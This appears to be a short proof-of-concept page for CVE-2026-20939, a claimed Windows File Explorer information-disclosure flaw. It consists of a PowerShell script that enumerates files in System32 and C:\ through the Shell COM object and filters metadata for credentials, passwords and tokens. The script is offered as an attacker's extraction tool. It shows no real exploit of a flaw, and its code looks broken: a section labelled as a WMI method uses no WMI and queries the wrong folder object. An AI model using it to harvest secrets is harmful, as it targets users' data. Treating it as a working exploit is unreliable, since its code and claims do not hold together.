CVE-2026-20939 Windows文件资源管理器敏感信息泄露漏洞

# CVE-2026-20939 PoC - Windows File Explorer Information Disclosure # This PoC demonstrates how an attacker can extract sensitive file metadata $shell = New-Object -ComObject Shell.Application $folder = $shell.Namespace("C:\Windows\System32") # Enumerate files and extract metadata properties $properties = @() foreach ($file in $folder.Items()) { # Try to access sensitive metadata fields for ($i = 0; $i -lt 300; $i++) { $propertyName = $folder.GetDetailsOf($null, $i) $propertyValue = $folder.GetDetailsOf($file, $i) # Filter for potentially sensitive information if ($propertyValue -match "(author|path|credential|password|token)") { $properties += [PSCustomObject]@{ FileName = $file.Name PropertyName = $propertyName PropertyValue = $propertyValue } } } } # Display extracted sensitive information $properties | Format-Table -AutoSize # Alternative method using WMI Get-ChildItem -Path "C:\" -Recurse -File -ErrorAction SilentlyContinue | Select-Object -First 100 | ForEach-Object { $shellItem = $shell.Namespace($_.DirectoryName).ParseName($_.Name) # Extract all available metadata $metadata = @{} for ($i = 0; $i -lt 300; $i++) { $name = $folder.GetDetailsOf($null, $i) $value = $folder.GetDetailsOf($shellItem, $i) if ($value) { $metadata[$name] = $value } } }